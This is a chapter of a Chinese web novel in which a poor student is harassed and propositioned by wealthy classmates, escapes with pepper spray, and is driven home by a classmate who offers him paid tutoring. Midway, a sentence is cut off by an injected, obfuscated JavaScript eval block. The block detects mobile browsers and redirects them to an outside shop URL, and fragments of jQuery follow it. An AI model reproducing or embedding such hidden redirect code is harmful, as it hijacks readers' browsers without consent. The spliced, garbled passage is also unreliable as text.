一帮穿金戴银的高大男人将沈望团团围住,居然是刚才在教室里咋咋呼呼打游戏那群人。
而他们中间为首的,正是那天想要抓走海鸥形态的他的胖男人。
胖男人换了一顶假发,打扮的倒是人模狗样。
可他身上的气场还是让沈望感觉浑身不舒服。
一股不祥的预感涌上心头,沈望下意识后退了半步。
可环顾了一圈四周,却发现这个地方根本不会有人来,就连往市区方向逃跑的路也被胖男人的跟班们从后面堵死了。
“同学,你们有什么事吗?”
沈望强迫自己不要表现得太紧张,他紧了紧自己的书包袋子,偏过头问胖男人。
“沈望,你无论是大考还是小考总是能第一,很厉害嘛。正好我们几个学习不怎么样,你就帮我们补补课吧。”
或许是因为现在的沈望是人类的身份,还稍微顾忌了一点法律法规,胖男人的小弟不敢表现得太过咄咄逼人。
他对着沈望挤出了一个笑,沈望却警惕蹙起了眉,总感觉事情没有那么简单。
“我们老大缺一个商赛队友,事成之后给你$500,要是能入围总决赛,额外再加200,怎么样?”
果然如此。
这群不学无术的富二代怎么可能会真的想要补课提升成绩呢。他们不过就是想让沈望将比赛成果加上他们的名字,再随便给点钱打发他。
这群富二代看出了他的窘迫和孤立无援,就连价格开得都低得离谱,偏偏说话的那小弟态度还像是施舍一般,仿佛让沈望占了多大的便宜。
“沈望,你知道杰斯哥家里是什么来头吗?”
“他爸可是这个商赛的二级赞助商,每年都能进入内场观看的。你要是干得好,说不定以后还能跟着杰斯哥进他们公司搞个VP当当呢。”
似乎是见沈望迟迟没有吭声,富二代们放缓了语气,开始给沈望画饼。
“……”
“抱歉,其实我最近学习也有点吃力,可能帮不上你们。”
沈望捏紧手中的购物袋,他无视了那些富二代们在看见他朴素的穿着和手上打折食品时那轻蔑讥讽的神情,礼貌的回绝后便想转身离开。
“你站住。让你走了吗?”
为首的胖男人终于开了口。
他从头到脚打量了沈望一番,目光掠过沈望洗得发白的帆布包和没有牌子的外套上,眼底的嫌弃几乎就要溢于言表,可在看见沈望的脸后,眼底又多了几分玩味。
“是嫌哥哥给太少了吗?”
他并没有对沈望发火,而是从口袋里摸出一根烟,借着小弟的手点上。
“这里不让抽烟,被抓到了要罚款的。”
沈望指了指男人身后的一张警示牌。
男人原本刚打算开口继续说,被沈望突如其来的提醒噎得卡了壳,好半天才尴尬的抖了抖烟灰,“没事,不用管它,那点罚款就当做慈善了。”
“但是好像还要拘留……”
男人挥了挥手,无视了沈望没说完的后半句话,他仔细地打量了一下沈望,忽然嘿嘿笑出了声。他这副态度虽然没了刚才的盛气凌人,却让沈望仿佛被什么肮脏黏腻的东西缠住,不由得打了个寒战。
“其实价格我们可以谈的,你应该很缺钱吧,要不要跟着我混,这日子可比整天穿成这样,和大爷大妈抢打折商品好过多了。”
“……”
什么意思,为什么突然要拉拢他。
沈望疑惑的抬起头,却看见胖男人身后的小弟们纷纷露出了玩味的笑容,打量沈望时就仿佛像是……在看一件完全没有尊严的,已然待价而沽的商品。
“差点还忘了,杰斯哥可以荤素不忌的,最近这是女朋友谈腻了,想换换口味?”
“谁知道呢,不过这小子虽然瘦了点,长得倒是还真挺漂亮的。”
一股巨大的反胃感让沈望几乎想要干呕。
他的指尖开始不受控制的发抖,对于杰斯和一众富二代们的厌恶达到了顶点。
“滚开,你们再缠着我,我就报警了。”
眼看着杰斯贴得越来越近,粗重的呼吸声让沈望起了一身鸡皮疙瘩。
趁着杰斯没有注意,他猛地推了他一下,从人群的缝隙中钻了出去,开始一边奔跑一边翻找自己的背包,想要找到随身携带的胡椒水。
由于经常打工到深夜凌晨,沈望的包里放了一些保命防身的东西。
或许是因为太过紧张,他翻找了好久才找到那个小瓶子,然后果断拧开盖子对着杰斯一阵狂喷。
“啊啊啊啊啊——”
凄厉的嚎叫声中,沈望因为太过紧张,胡椒喷雾脱手飞了出去,一路滚到了路边的沟里。
完了。
沈望最近已经不知道自己完了多少次,但他知道这次恐怕真的要完了。
他没法去捡那瓶胡椒水,只能继续向前跑。直到躲进路边的24小时便利店,找店员帮忙报警,或许事情还能有转机。
融化了一半的雪水溅在了沈望的裤脚上。
湿滑的,带着无数生活垃圾和石子泥土的人行道让他不得不放慢了脚步。手里的东西很沉,白皙的指关节被勒出了带血的红痕,有好几次,他都踉跄着摔进了雪里,可他清楚那些人是不会轻易放过他的,只能闷着头拍起来,忍着疼痛往前冲。
不知跑了多久,一阵引擎轰鸣的声音响起,有光照在了灰头土脸的沈望身上,晃得他有些睁不开眼。
沈望抬起头,停在他面前的是一辆黑金色的机车。
车身很高,流线型的设计帅得让人移不开眼,车灯闪烁着,车身上挂着一只书包,可沈望根本无暇去顾忌,只能踉跄着上前,想要像他求助。
好冷,好痛……
寒冷和恐惧让沈望的大脑如同生锈了一般几乎无力转动,可鼻腔里骤然传来的,冷冽干净的气息,却让他的意识清醒了几分,乌黑的眸子陡然瞪大。
“严诺…”
他几乎是下意识的就叫出了那个名字,可下一刻,他看见了那个墨绿色的头盔。
认错人了吗,这也太丢脸了。
身体已经到达了极限,沈望膝盖发软,整个人失去了平衡,可就在这时,一双手揽住了他的肩膀,车上的人顺手便接住了他的身体,和他一起跌进了雪里。
“哗啦哗啦——”
花坛里的积雪被碰掉了一大片,沈望花了好大的力气,才从雪中爬了起来,就在他想像撞到的人道歉时,后者却已然主动摘下了头盔,和沈望四目相对。
在看清沈望的模样时,严诺的喉结不自觉地动了动。
那个在课堂上和同学款款而谈,说起项目计划时仿佛有一万个点子,聪明又漂亮的小学霸此时满身狼狈,头发被风吹得凌乱不堪,外露的手腕上满是勒痕和跌出来的瘀伤。
沈望的皮肤很白,而那些狰狞的痕迹衬得他本就白皙细腻的肌肤看上去仿佛失去了血色。
他此时应该是很痛的,红润的唇瓣被咬得出了血,严诺一时间看得出了神,一股莫名的情绪涌上心头,让他感觉心脏揪了一下。
“抱歉……不过,你怎么会在这里?”
沈望有些尴尬的拍了拍身上的雪,从地上站了起来。
他环顾了一圈四周,发现那群富二代居然并没有追上来,暗中松了口气。
或许是因为胡椒水的威力太猛,那些小弟们已经拖着杰斯去紧急清理了。
“这个,我不小心拿走了,怕里面有重要的东西,所以想尽快还给你。”
严诺从包里拿出一个移动硬盘,刚才沈望讲方案的时候插在了他的电脑上,被他无意带走了。
“哦,谢谢啊。”
沈望莫名感觉严诺今天的话好像似乎比平时多了,却不知道是为什么。
是出于本能的教养和礼貌吗?
来不及细想,沈望接过硬盘,发现严诺看向了散落了一地的食物。
比蝉翼还薄的劣质塑料袋被摔破了,好不容易抢到的打折食品坏了大半,罐头的汁水漏了出来,饼干也被压扁变形。
沈望粗略的估算了一下损失,本来能吃一个星期的食物现在最多只能撑两三天,他紧紧攥着拳头,可或许是愤怒过了头,随之而来的是无尽的迷茫。
早上发给兼职老板讨要工资的消息一直没有回复,估计已经石沉大海了。
在这么短的时间里找到新的兼职更是难上艰难,再加上今天和杰斯他们肯定是结下梁子了,沈望只感觉有一把无形的铡刀高高的挂在他的脖子上,随时都会轰然落下。
“这儿治安不怎么好,晚上又黑,你回去的时候注意安全。”
为了不在严诺面前表现得太愁眉苦脸,沈望只能对他笑了笑,没有表现得太愁眉苦脸。
“你从前面那个路口出去,拐个弯到隔壁街区去,那边路灯亮一点,路也好走。”
“你呢,自己一个人回去?”
严诺抖了抖头盔上的积雪,见沈望一边叮嘱他,一边将一个瘪了一点,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487370|202087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却还能吃的罐头捡起来,放回其中一个还算完好的袋子里,心中莫名有些不是滋味。
由于手套在刚才摔倒时就不知去向,沈望露在外面的指尖已经冻得通红,他却仿佛浑然未觉,不知在想什么。
“要不然……你帮我补补课吧。”
就在沈望将还能吃的东西装好,准备找个商店再躲一会儿然后回家时,严诺的声音却从身后响起。
“什么……”
沈望的身影摇晃了一下,已然对“补课”这两个字产生了心理阴影。
他回过头,就见严诺一脸认真,似乎是真的在询问他的意见。
“我的成绩比你差很多,如果直接和你一起做期末作业,应该拿不到高分,会拖你后腿吧。”
“我这门课一直没怎么学,好像快挂科了。沈望,条件你来开,每周末帮我补一次课怎么样?”
“你,你是作业写不出来吗?”
沈望试探性地问。
“那倒不至于。”
严诺愣了愣,随即解释道:“作业我可以自己应付,但是也仅此而已了。我其实都不太清楚这节课讲的是什么,考试的时候……都是靠排除法和运气。”
沈望:“好吧。”
见他似乎在犹豫,严诺又说:“一小时我给你一千吧,怎么样?”
“多少?”
沈望的身形晃荡了一下,确认严诺的语气不像在开玩笑后,他仿佛已经看到了自己终于还完的信用卡账单和学费,感觉整个人都飘在了半空中,就连步子都有些虚浮了。
“嗯,如果不够的话到时候再加。你住哪儿,我先送你回去吧,现在有点晚了,你一个人回去不安全。”
严诺一手拎着自己的头盔,另一手十分自然的接过了沈望提着的袋子,将它放在了后座的储物空间里。
两人说话的时间,原本灰蒙蒙的天色已经完全黑了下来。这条路上本来就没什么人,这会儿更是连尚在营业的店铺都拉上了金属防盗网,只留下一个小窗口开着。
“……那麻烦你了。”
沈望并没有拒绝严诺的好意。
通常情况下他其实不喜欢欠别人人情,可一想到杰斯他们,他就不由自主的打了个冷战,默默地爬上了严诺的后座。
如果能想办法多和严诺待在一起,他们是不是就不会再来找自己麻烦了呢。
唉。沈望叹了口气,真是冤家路窄啊。
严诺的机车很高,沈望爬上去后完全不知道脚该踩在哪,那种恐高的感觉又回来了,虽然严诺给了他一个备用头盔,可要是不慎摔下去,那他不得东一块西一块啊。
严诺刚发动车子,沈望就吓得本能得伸手抱住了严诺的腰,整个人僵硬地贴在了他的身上。
“!”
感受到环抱着腰侧的触感,严诺黑沉沉的瞳仁颤了颤,沈望以为他这是不舒服,也感觉自己是不是有点自来熟了,于是只能转而抓住他背在身后的书包。
严诺回过头看了看他,似乎想说什么,最终却什么也没说。机车在一阵轰鸣声中划过一道优美的弧线,朝着学生公寓的方向驶去。
一路上,沈望似乎依稀听见了警笛声,还有断断续续的咒骂声,不过他并没有在意,他的全部精力都用来保持平衡,防止自己从严诺的车上掉下去。
这还是沈望第一次坐机车,似乎是为了“照顾”他,严诺骑得不算快,可当凌厉的风刮过脸侧,身后的景象飞速倒退时,沈望还是有了种奇异的感觉。
认识了严诺后,沈望发现他和自己原本印象里的有很多偏差。
他不知道严诺到底是经历了什么才养成了阴暗自闭的性格,可他总感觉真实的严诺似乎并不是大多数人看到的那样。
十几分钟后,严诺的车停在了学生公寓楼下,沈望搓了搓冻得发红的脸颊,拎上自己的东西准备上楼回家。
此时已经是晚上七八点,由于最近天气不好,大多数老师都将晚课换成了线上课。
上了年头的公寓楼里灯火通明,唯独三楼角落里的一户没有亮灯,沈望有些落寞的垂了垂眼,轻声对严诺说:“再见。”
严诺点点头,沈望提上自己的东西,往楼道走去。
走了几步后,他忽然想到了什么,转身叫住了准备离开的严诺。
“严诺,老师说的商赛你报名了吗?”
“嗯,什么?”
严诺没有料到沈望会突然问这个,只能如实说,“还没……”
“那么,要不要和我组队?”